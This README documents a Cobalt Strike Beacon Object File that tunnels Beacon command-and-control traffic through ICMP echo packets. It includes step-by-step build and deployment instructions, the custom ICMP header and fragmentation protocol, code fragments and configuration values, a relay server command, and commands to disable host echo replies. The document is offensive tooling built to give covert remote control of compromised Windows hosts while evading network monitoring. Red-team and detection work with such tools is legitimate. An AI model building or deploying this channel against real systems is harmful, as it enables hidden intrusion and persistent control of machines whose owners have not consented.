A Beacon Object File (BOF) implementation that provides an ICMP UDC2 channel that uses ICMP echo requests/replies.
The ICMP UDC2 BOF acts as a communication proxy that:
- Encapsulates Beacon traffic within ICMP echo requests
- Fragments large payloads across multiple ICMP packets when needed
- ICMP Communication: Native ICMP echo request/reply protocol implementation
- Packet Fragmentation: Automatic fragmentation for large payloads
- Retry Logic: Configurable retry attempts with exponential backoff
- No MSVCRT Dependencies: Uses only Windows API functions
- Minimal Footprint: Optimized for in-memory execution
To quickly get the ICMP UDC2 Release BOF built and usable within Cobalt Strike, follow the instructions below. Note that you should have the Release solution configuration selected for this.
- In the icmp_udc2_bof.cpp file, find the following line:
gUdc2State.serverAddr = "127.0.0.1"; // TODO: SET THIS TO YOUR UDC2 SERVER ADDRESS - Change the gUdc2State.serverAddr to the IP address where your UDC2 server will be listening (See step 6)
- Make sure the "Release" configuration is selected in Visual Studio and choose the architecture you wish to build the BOF for (x64 or x86)
- From the Build menu in Visual Studio, click Build Solution
- Once the BOF has been successfully built, open the Cobalt Strike client and open the listeners page. Create a new UDC2 listener. Give it a name like udc2-icmp-x64 or udc2-icmp-x86 and choose a port for the UDC2 listener to listen on. For the UDC2 BOF field, click on the open-file dialog option and select the ICMP UDC2 BOF that you just built in the previous step. Ensure that the "Debug only" checkbox is NOT checked. If you want to apply guard rails, apply them, and finally click Save.
- For specific usage instructions of the ICMP UDC2 server python script, refer to the documentation in the server\README.md file. In the interim, run the python script with the following options:
python3 icmp_udc2_server.py --ts-addr YOUR_TS_UDC2_LISTENER_IP --ts-port YOUR_TS_UDC2_LISTENER_PORT - If you are running the python script under WSL on Windows, or from a linux environment, make sure that you disable automatic ICMP echo replies, as this will interfere with Beacon communication. To temporarily disable ICMP echo replies, use either of the following commands:
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1orsudo echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all. Note you may need to disable icmp echo replies on Windows if you are running the script from Windows. - From the Cobalt Strike client, export a payload as you would normally, but choose the new UDC2 listener you created in step 5.
- Your payload is now ready to execute with the ICMP UDC2 BOF stomped into it. Run the payload and you should see ICMP requests being sent to your python UDC2 server which will extract the Beacon frame data from them and forward it on to the UDC2 listener on the Team Server.
- You should now see a new Beacon registered in the Cobalt Strike client.
To get started with the ICMP UDC2 example, follow the instructions below. Note that you should have the Debug solution configuration selected for this.
- If you don't already have a UDC2 debug listener set up: In your Cobalt Strike client, open the listeners page and create a new UDC2 listener. Give it a name like "udc2-debug", leave the BOF field empty, tick the "Debug only" option, and click Save. Take note of the UDC2 listener port.
- In the icmp_udc2_bof.cpp file, find the following line: gUdc2State.serverAddr = "127.0.0.1"; // TODO: SET THIS TO YOUR UDC2 SERVER ADDRESS
- Change the gUdc2State.serverAddr to the IP address where your ICMP UDC2 server will be listening (See step 9)
- In the main function in icmp_udc2_bof.cpp, find the following line:
LPCSTR UDC2_DEBUG_HOST = "127.0.0.1"; // SET THIS TO YOUR UDC2 LISTENER HOST (Team Server) - Set the UDC2_DEBUG_HOST to your team server IP where the debug udc2 listener is listening
- In the main function in icmp_udc2_bof.cpp, find the following line:
USHORT UDC2_DEBUG_PORT = 2222; // SET THIS TO YOUR UDC2 LISTENER PORT - Set the UDC2_DEBUG_PORT to the port you used for your udc2 debug listener in step 1
- For specific usage instructions of the icmp udc2 server python script, refer to the documentation in the server\README.md file. In the interim, run the python script with the following options:
python3 icmp_udc2_server.py --ts-addr YOUR_TS_UDC2_LISTENER_IP --ts-port YOUR_TS_UDC2_LISTENER_PORT - If you are running the python script under WSL on Windows, or from a linux environment, make sure that you disable automatic ICMP echo replies, as this will interfere with Beacon communication. To temporarily disable ICMP echo replies, use either of the following commands:
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1orsudo echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all. Note you may need to disable icmp echo replies on Windows if you are running the script from Windows. - The setup is now complete and you can click on the Run button with Local Windows Debugger in Visual Studio to run the project under the debugger. You should now see a new Beacon show up in your Beacon list in the Cobalt Strike client. This Beacon is communicating with the python UDC2 server using the ICMP protocol, which you can verify with WireShark.
typedef struct _UDC2_STATE {
PacketList packetList; // Linked list of outbound packets
ULONG beaconId; // Unique Beacon identifier
const char* serverAddr; // Target server IP address
BOOL initialized; // Initialization status
} UDC2_STATE;typedef struct _ICMP_HEADER {
ULONG Type; // Packet type (Beacon data, request, ack, task)
ULONG Identifier; // Beacon ID for correlation
ULONG Flags; // Fragmentation and control flags
ULONG FragmentIndex; // Fragment sequence number
} ICMP_HEADER;TYPE_BEACON_DATA (0): Outbound Beacon dataTYPE_REQUEST_TS_REPLY (1): Request for team server responseTYPE_ACK (2): Acknowledgment packetTYPE_TASK (3): Inbound task data
FRAGMENTED (0x00000001): Indicates fragmented payloadFIRST_FRAG (0x00000010): First fragment in sequenceLAST_FRAG (0x00000100): Last fragment in sequenceFETCH_FRAG (0x00001000): Request for next fragment
- Beacon sends a frame wrapped in an ICMP packet (fragmenting if necessary)
- UDC2 server processes frame data from ICMP echo request (de-fragmenting if necessary)
- UDC2 server checks packet type, and for TYPE_BEACON_DATA, replies with a TYPE_ACK packet in an ICMP echo reply to the original echo request after forwarding on the Beacon data to the team server
- Beacon validates that it receives a TYPE_ACK in reply
- Beacon now sends another ICMP echo request with a TYPE_REQUEST_TS_REPLY to get the team server response to the Beacon data it previously sent
- UDC2 server assembles the task data it received from the team server, fragmenting if necessary, and sends either the first frag or the complete payload if it doesn't need fragmentation
- Beacon receives the TYPE_TASK packet and checks if it is fragmented. If it is fragmented, Beacon sends additional echo requests with TYPE_REQUEST_TS_REPLY and the FETCH_FRAG flag set until it has received all the fragmented data.
- Beacon processes the task data and performs the task and the cycle repeats
// Update this to your UDC2 server address
gUdc2State.serverAddr = "127.0.0.1"; // Change to your server IP#define MAX_ICMP_PAYLOAD_SIZE 65507 // Maximum ICMP payload
#define MAX_ICMP_PACKET_SIZE 65535 // Maximum ICMP packet
#define MAX_RETRY_ATTEMPTS 3 // Retry attempts
#define ICMP_TIMEOUT_MS 1000 // Timeout in milliseconds
#define BEACON_ID_MASK 0x0000FFFF // Beacon ID mask- Set up UDC2 debug listener in Cobalt Strike
- Update debug configuration:
LPCSTR UDC2_DEBUG_HOST = "127.0.0.1"; // Your team server IP
USHORT UDC2_DEBUG_PORT = 2222; // Your UDC2 listener portMain proxy function for relaying Beacon traffic.
Parameters:
sendBuf: Points to Beacon frame data that needs to be sent outsendBufLen: The total length of the frame datarecvBuf: Points to Beacon memory that you should copy response frame data torecvBufMaxLen: The max size of the recv buffer
Returns: Number of bytes received on success, negative error code on failure
Cleanup function for session termination.
Send ICMP data with optional response handling.
Parameters:
buffer: Data buffer to sendlength: Length of dataackOnly: TRUE for acknowledgment only, FALSE to return datappvData: Pointer to store reply data (if ackOnly is FALSE)
Create ICMP packets with proper fragmentation.
Send all created packets with payload data.
Receive and process server replies.
#define UDC2_SUCCESS 0 // Operation successful
#define UDC2_ERROR_INVALID_PARAM -1 // Invalid parameter
#define UDC2_ERROR_MEMORY_ALLOC -2 // Memory allocation failure
#define UDC2_ERROR_NETWORK -3 // Network operation failure
#define UDC2_ERROR_TIMEOUT -4 // Operation timeout
#define UDC2_ERROR_PROTOCOL -5 // Protocol violation
#define UDC2_ERROR_FRAGMENTATION -6 // Fragmentation error- IPHLPAPI.dll: ICMP operations (
IcmpCreateFile,IcmpSendEcho,IcmpCloseHandle) - KERNEL32.dll: Memory management (
HeapAlloc,HeapFree,GetProcessHeap) - WS2_32.dll: Network utilities (
inet_addr) - NTDLL.dll: System utilities (
RtlRandomEx)
#include <Windows.h> // Windows base types
#include <iphlpapi.h> // ICMP API functions
#include <IcmpAPI.h> // ICMP structures- Payload Size: Limited by ICMP packet size (65KB maximum)
- Network Dependencies: Requires ICMP traffic to be allowed
- Detection Risk: ICMP traffic is commonly monitored
- Performance: Higher latency compared to TCP/UDP
- Reliability: ICMP is connectionless and may be dropped
Apache 2.0 (see LICENSE file in udc2-vs main template folder)